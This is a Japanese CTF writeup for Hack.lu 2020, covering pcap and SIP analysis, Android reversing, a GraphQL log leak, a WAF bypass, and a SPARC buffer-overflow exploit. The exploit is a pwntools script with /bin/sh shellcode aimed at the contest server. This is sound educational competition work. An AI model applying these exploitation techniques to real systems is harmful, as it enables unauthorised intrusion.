Hack.lu CTF 2020 Writeup

October 25, 2020

2020/10/23 20:37 - 2020/10/25 20:37 で開催された Hack.lu CTF 2020 に1人チーム (y011d4) で参加しました。 自分が好きな crypto, rev はあまり存在しなくて (or 全く歯が立たない)、結果として普段避けがちな web 問に取り掛かれたのはよかったです。 結果は56位でした。 解けた問題についての writeup をまとめます (本当は英語で書くのがベターだけど、時間がないので日本語で)。 どうでもいいけど、自分は “cool theme” で開いていたのですが、アレ (自主規制) のパロディで笑った。

解けた問題

Misc

Callman

pcap ファイルが渡されて解析する問題。 取っ掛かりが全然わからなかったため、問題文に入っている call という文字列で適当に grep してみました。

strings Callboy.pcapng | grep call -A 3 -B 3 -i
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: sip:p4ck3t0@10.13.37.86
CSeq: 20 INVITE
Call-ID: 54c2YeA2B1
Max-Forwards: 70
Supported: replaces, outbound, gruu
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO, UPDATE
--
Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: <sip:p4ck3t0@10.13.37.86>
Call-ID: 54c2YeA2B1
CSeq: 20 INVITE
User-Agent: Linphone/3.6.1 (eXosip2/4.1.0)
Content-Length: 0
--
Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
Call-ID: 54c2YeA2B1
CSeq: 20 INVITE
Contact: <sip:p4ck3t0@10.13.37.86:5060>
User-Agent: Linphone/3.6.1 (eXosip2/4.1.0)
--
Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
Call-ID: 54c2YeA2B1
CSeq: 20 INVITE
Contact: <sip:p4ck3t0@10.13.37.86>
Content-Type: application/sdp
--
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
CSeq: 20 ACK
Call-ID: 54c2YeA2B1
Max-Forwards: 70
User-Agent: Linphone Desktop/4.2.2 (Arch Linux, Qt 5.15.1) LinphoneCore/6da3177
H@0Z
--
Via: SIP/2.0/UDP 10.13.37.86:5060;rport;branch=z9hG4bK1693586277
From: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
To: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
Call-ID: 54c2YeA2B1
CSeq: 2 BYE
Contact: <sip:p4ck3t0@10.13.37.86:5060>
Max-Forwards: 70
--
Via: SIP/2.0/UDP 10.13.37.86:5060;rport;branch=z9hG4bK1693586277
From: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
To: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
Call-ID: 54c2YeA2B1
CSeq: 2 BYE
User-Agent: Linphone Desktop/4.2.2 (Arch Linux, Qt 5.15.1) LinphoneCore/6da3177
Supported: replaces, outbound, gruu

SIP というプロトコルで通話をしているログなのかなと予想しました。 Wireshark で開き、 Telephony -> RTP -> RTP Streams で RTP のストリームを見てみると3つ見つかり、そのうちの1つが音声となっていました。 後は英語のリスニング試験となったのですが、英語が苦手な自分は pixel (スマホ) のレコーダーアプリで文字起こしをしてもらってフラグを入手しました。 (call を cool と文字起こしされて、なかなか修正に手こずった…)

flag{call_me_baby_1337_more_times}

P*rn Protocol

P*rnProtocol という通信規格のドキュメントが与えられているので、その規格に沿って通信する問題。 説明書を読んで愚直に実装するだけでした。やったことの流れを簡単にまとめると、

  1. identifier が最初の通信で渡されるので、それを指定しつつ Member ID をリクエスト
  2. username, password を返されるので、それを使ってログイン
  3. flag をリクエスト

実装には pwntools を使いました。 悲しいことに大会中に誤ってファイルを消してしまうというとんでもないミスをしてしまったためコードは残っていないし、既に解けた問題のコードを復元する気力はないので方針だけです…

Pwn

Secret Pwnhub Academy Rewards Club

sparc というアーキテクチャ上での pwn 問。 仕様については https://cseweb.ucsd.edu/~gbournou/CSE131/samv8.pdf を参考にしました。

Dockerfile で gdb が走る環境が与えられていたため、その環境を使って gdb で挙動を確認しました。 (今回の CTF、どの問題も環境がしっかり与えられていてとてもやりやすかった)

(gdb) disas
Dump of assembler code for function main:
   0x000104b4 <+0>:	std  %fp, [ %sp + 0x38 ]
   0x000104b8 <+4>:	add  %sp, -96, %sp
   0x000104bc <+8>:	sub  %sp, -96, %fp
   0x000104c0 <+12>:	mov  %o7, %i7
=> 0x000104c4 <+16>:	call  0x102a4 <setup>
   0x000104c8 <+20>:	nop
   0x000104cc <+24>:	call  0x10318 <fn>
   0x000104d0 <+28>:	nop
   0x000104d4 <+32>:	clr  %g1	! 0x0
   0x000104d8 <+36>:	mov  %g1, %o0
   0x000104dc <+40>:	mov  %fp, %g1
   0x000104e0 <+44>:	mov  %i7, %o7
   0x000104e4 <+48>:	ldd  [ %fp + 0x38 ], %fp
   0x000104e8 <+52>:	mov  %g1, %sp
   0x000104ec <+56>:	retl
   0x000104f0 <+60>:	nop
End of assembler dump.

buffer overflow 問かと予想して適当にググっていると http://www.ouah.org/UNF-sparc-overflow.html を見つけました。 今回の問題設定 (main 関数から呼んだ関数上で read が呼ばれる) と酷似していたため、 buffer overflow でいけると確信。

sparc の仕様を完全に追うのは大変そうだったため、手動二分探索で書き込む量を gdb で確認しつつ決定し、ググってみつけたシェルコード (/bin/sh) を呼び出してフラグゲット (なので結局 sparc についてはよくわからなかった)。

from pwn import *
from Crypto.Util.number import long_to_bytes

# r = remote("localhost", 4444)
r = remote("flu.xxx", 2020)

context.log_level = "DEBUG"
address = r.recvuntil("\n")  # 0xffffeb78
address = int(address, 16)
print(hex(address))

r.sendline(b"A"*184 + b"\xff\xff\xec\x58" + long_to_bytes(address))

# http://shell-storm.org/shellcode/files/shellcode-83.php
shellcode = b"\x82\x10\x20\x7e" + b"\x92\x22\x40\x09" + b"\x90\x0a\x40\x09" + b"\x91\xd0\x20\x10" + b"\x2d\x0b\xd8\x9a" + b"\xac\x15\xa1\x6e" + b"\x2f\x0b\xdc\xda" + b"\x90\x0b\x80\x0e" + b"\x92\x03\xa0\x08" + b"\x94\x22\x80\x0a" + b"\x9c\x03\xa0\x10" + b"\xec\x3b\xbf\xf0" + b"\xd0\x23\xbf\xf8" + b"\xc0\x23\xbf\xfc" + b"\x82\x10\x20\x3b" + b"\x91\xd0\x20\x10"
r.sendline(b"A" * 8 + shellcode)
r.interactive()

flag{all_the_!nput_to_0utput_register_sh0veling}

Rev

flagdroid

android アプリの rev 問。 まずは https://www.glamenv-septzen.net/view/972 を参考に、逆アセンブルして .smali ファイルを生成しました。

unzip flagdroid.apk
java -jar baksmali-2.4.0.jar d classes.dex

out/lu/hack/Flagdroid/MainActivity$1.smali を見てみると、 flag の判定をしているような部分を見つけました。

    const-string v2, "flag\\{(.*)\\}"

    .line 48
    invoke-static {v2}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;

    move-result-object v2

    .line 49
    invoke-virtual {v2, v1}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;

    move-result-object v1

    .line 50
    invoke-virtual {v1}, Ljava/util/regex/Matcher;->find()Z

    move-result v2

    const/4 v3, 0x4

    const/4 v4, 0x0

    if-eqz v2, :cond_88

    .line 51
    invoke-virtual {v1}, Ljava/util/regex/Matcher;->group()Ljava/lang/String;

    move-result-object v1

    const-string v2, "flag{"

    const-string v5, ""

    invoke-virtual {v1, v2, v5}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;

    move-result-object v1

    const-string v2, "}"

    invoke-virtual {v1, v2, v5}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;

    move-result-object v1

    const-string v2, "_"

    .line 53
    invoke-virtual {v1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;

    move-result-object v1

    .line 54
    array-length v2, v1

    if-ne v2, v3, :cond_88

    .line 55
    iget-object v2, p0, Llu/hack/Flagdroid/MainActivity$1;->this$0:Llu/hack/Flagdroid/MainActivity;

    aget-object v5, v1, v4

    # invokes: Llu/hack/Flagdroid/MainActivity;->checkSplit1(Ljava/lang/String;)Z
    invoke-static {v2, v5}, Llu/hack/Flagdroid/MainActivity;->access$000(Llu/hack/Flagdroid/MainActivity;Ljava/lang/String;)Z

    move-result v2

    .line 56
    iget-object v5, p0, Llu/hack/Flagdroid/MainActivity$1;->this$0:Llu/hack/Flagdroid/MainActivity;

    const/4 v6, 0x1

    aget-object v6, v1, v6

    # invokes: Llu/hack/Flagdroid/MainActivity;->checkSplit2(Ljava/lang/String;)Z
    invoke-static {v5, v6}, Llu/hack/Flagdroid/MainActivity;->access$100(Llu/hack/Flagdroid/MainActivity;Ljava/lang/String;)Z

どうやら flag は flag{xxx_yyy_zzz_www} という形になっているようで、 xxx, yyy, zzz, www の部分はそれぞれ access$?00 (checkSplit?) でチェックされているみたいです。 それぞれのチェック関数を見てみると、

  • checkSplit1
    • 0x7f0c001e にある文字列を base64 でデコードしたものと一致するかチェック
      • 0x7f0c001e の文字列は android studio で見たところ、 dEg0VA== だったので、 tH4T
  • checkSplit2
    • (flag[i] + i) xor "hack.lu20"[i]\u001fTT:\u001f5\u00f1HG と一致するかチェック
      • xor を逆変換して、 w45N-T~so
  • checkSplit3
    • md5(h4rd????) == 6d90ca30c5de200fe9f671abb2dd704e をチェック
    • ???? の部分をブルートフォースで決定
  • checkSplit4
    • ネイティブコードを使っていたため、 lib/x86_64/libnative-lib.so を見た
    • 文字列がベタ書きされていた

一応全体のコード↓

from base64 import b64decode
from hashlib import md5
from itertools import product


# checkSplit1
flag1 = b64decode(b"dEg0VA==").decode()
print(flag1)


# checkSplit2
flag2 = ""
target = b"\x1fTT:\x1f5\xf1HG"
key = b"hack.lu20"
assert len(key) == len(target)
for i, (t, k) in enumerate(zip(target, key)):
    flag2 += chr((t ^ k) - i)
print(flag2)


# checkSplit3
flag3_prefix = "h4rd"
for i0, i1, i2, i3 in product(range(32, 128), repeat=4):
    c0, c1, c2, c3 = (
        chr(i0),
        chr(i1),
        chr(i2),
        chr(i3),
    )
    if md5((flag3_prefix + c0 + c1 + c2 + c3).encode()).hexdigest() == "6d90ca30c5de200fe9f671abb2dd704e":
        flag3 = flag3_prefix + c0 + c1 + c2 + c3
        break
print(flag3)


# checkSplit4
flag4 = "0r~w4S-1t?8)"
print(flag4)


# join
flag = f"flag{{{flag1}_{flag2}_{flag3}_{flag4}}}"
print(flag)

flag{tH4T_w45N-T~so_h4rd~huh_0r~w4S-1t?8)}

Web

Confession

適当にあれこれ操作していると、 /graphql に対して post をしているのを見つけました。 ctf4b 2020 の profiler の問題を思い出した (自分の writeup link) ので、それと同じく schema がとれないかをまず試しました。とれました。

get-graphql-schema https://confessions.flu.xxx/graphql
directive @cacheControl(maxAge: Int, scope: CacheControlScope) on FIELD_DEFINITION | OBJECT | INTERFACE

type Access {
  timestamp: String
  name: String
  args: String
}

enum CacheControlScope {
  PUBLIC
  PRIVATE
}

type Confession {
  id: String
  title: String
  hash: String
  message: String
}

type Mutation {
  """Create a new confession."""
  addConfession(title: String, message: String): Confession

  """Get a confession by its id."""
  confessionWithMessage(id: String): Confession
}

type Query {
  """Show the resolver access log. TODO: remove before production release"""
  accessLog: [Access]

  """Get a confession by its hash. Does not contain confidential data."""
  confession(hash: String): Confession
}

"""The `Upload` scalar type represents a file upload."""
scalar Upload

TODO とかコメントに書いてあるものは大体怪しいので、 accessLog の query を送りました。

{
  "operationName": null,
  "query": "query Q { accessLog { timestamp, name, args } }",
}

すると、以下のレスポンスが返ってきました。

{
"data": {
"accessLog": [
  {
"timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
"name": "addConfession",
"args": "{"title":"<redacted>","message":"<redacted>"}"
},
  {
"timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
"name": "confession",
"args": "{"hash":"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111"}"
},
  {
"timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
"name": "addConfession",
"args": "{"title":"<redacted>","message":"<redacted>"}"
},
  {
"timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
"name": "confession",
"args": "{"hash":"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6"}"
},
  {
"timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
"name": "addConfession",
"args": "{"title":"<redacted>","message":"<redacted>"}"
},
  {
"timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
"name": "confession",
"args": "{"hash":"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83"}"
},
(以下略)

web サイトの仕様をもう一度確認すると、 message 部分に文字を書き込むたびに graphql にクエリを投げる仕様になっていました。 hash は sha256(message) を計算しているだけなので、 message を1文字ずつ決定できそうです。

import json
from hashlib import sha256
with open("./response-data-export") as f:
    res = json.load(f)
flag = b""
for access in res["data"]["accessLog"]:
    if access["name"] == "confession":
        for i in range(32, 128):
            c = chr(i).encode()
            if sha256(flag + c).hexdigest() == access["args"].split('"')[3]:
                flag += c
                print(flag)
                break

flag{but_pls_d0nt_t3ll_any1}

FluxCloud Serverless

cloud サービスを真似たような問題? Demo を押すと用意されているデモサイトがデプロイされます。そのサイトの /flag/ にアクセスするとフラグが見れそうですが、 serverless/functions/waf.js で URL 内に flag の文字列があると弾かれてしまいます。 どうすればいいかさっぱりだったため、用意されている動作環境をとりあえず手元で動かしていろいろ試してみました。 アクセスするたびに team-productsteam-security の値が減っていくのがわかります。これが0になるとサービス終了ということでデプロイ先にアクセスすることができなくなるようです。

URL に何か小細工をするのかと考え、適当に文字を入れて試してみたところ、 %90 という文字を入れると team-security だけ減って team-products は減らないという現象に気づきました。 もう一度コードを確認すると、 waf でエラーがはかれると、 team-products を減らす処理に入らない仕様になっていました。 なので一度 %90 の文字を入れてアクセスしてエラー落ちさせたあとで /flag/ にアクセスを13回繰り返すと team-security だけ0になって team-products は非負という状況が作り出せます。 このとき waf のチェックはされなくなるため、 /flag/ にあるフラグを見ることができました。

flag{ca$h_ov3rfl0w}

FluxCloud Serverless 2.0

FluxCloud Serverless の fix 版として追加された問題。 とりあえず思考停止で元の問題と同じ方法を試したところうまくワークしました。 なので差分はよくわかっていないです…

flag{ca$h_ov3rfl0w_50b36a77aa069ca7028df9c0ca615ea3}

解けなかった問題

Crypto

Bad Primes

gcd(e,ϕ)1\gcd(e, \phi) \ne 1 なので ed1modϕed \equiv 1 \mod \phi となる dd が存在しない、という問題。 方針がわかりませんでした…解1つに決まらないのでは? とりあえず mecmodnm^e \equiv c \mod n の式について qq で mod を取ると、 mmqmodqm \equiv m_q \mod q となる mqm_q が求まります。 m=qx+mqm = q x + m_qflag{...} という形になるような制約を xx に与えてあげて for ループで探させてみましたが、フラグの文字列長は十分長いみたいで無理そうでした (フラグが36文字以下だとしたら探索可能っぽかった)。

Web

BabyJS

javascript の仕様をハックするような問題集。

const FLAG = process.env.FLAG || 'fakeflag{}';

const no = (m='no') => { console.log(m); process.exit(1); };
const assert = (m, b) => b || no(m);
const is = (o, t) => assert('is', typeof o === t);
const isnt = (o, t) => assert('isnt', typeof o !== t);
const passed = (i) => console.log(`check ${i} passed`);

(async () => {

const readline = require('readline').createInterface({
    input: process.stdin,
    output: process.stdout,
});
const input = await new Promise(resolve => readline.question('Prove that you are 1337 and not baby: ', resolve));
readline.close();

assert('0', input !== '');
passed('0');

const clean = input.replace(/[\u2028\u2029]/g, '');
const json = JSON.parse(clean);

const { a, b } = json;
is(a, 'number');
is(b, 'number');
assert('1.1', a === b);
assert('1.2', 1337 / a !== 1337 / b);
passed('1');

let { c, d } = json;
isnt(c, 'undefined');
isnt(d, 'undefined');
const cast = (f, ...a) => a.map(f);
[c, d] = cast(Number, c, d);
assert('2.1', c !== d);
[c, d] = cast(String, c, d);
assert('2.2', c === d);
passed('2');

let { e } = json;
is(e, 'number');
const isCorrect = e++<e--&&!++e<!--e&&--e>e++;
assert('3', isCorrect);
passed('3');

const { f } = json;
isnt(f, 'undefined');
assert('4', f == !f);
passed('4');

const { g } = json;
isnt(g, 'undefined');
// what you see:
function check(x) {
    return {
        value: x * x
    };
}
// what the tokenizer sees:
function
        check
             (
              x
               )
                {
                 return
                       {
                        value
                             :
                              x
                               *
                                x
                                 }
                                  ;
                                   }
assert('5', g == check(g));
passed('5');

const { h } = json;
is(h, 'number');
try {
    JSON.parse(String(h));
    no('6');
} catch(e){}
passed('6');

const { i } = json;
isnt(i, 'undefined');
assert('7', i in [,,,...'"',,,Symbol.for("'"),,,]);
passed('7');

const js = eval(`(${clean})`);
assert('8', Object.keys(json).length !== Object.keys(js).length);
passed('8');

const { y, z } = json;
isnt(y, 'undefined');
isnt(z, 'undefined');
y[y][y](z)()(FLAG);

})();

f までしか解けませんでした…全然思いつかない。

echo '{"a": 0, "b": -0, "c": "NaN", "d": "NaN", "e": -1, "f": [0], "g": "giveup"}' | nc flu.xxx 2071
Prove that you are 1337 and not baby: check 0 passed
check 1 passed
check 2 passed
check 3 passed
check 4 passed
5

y011d4
機械学習やってます。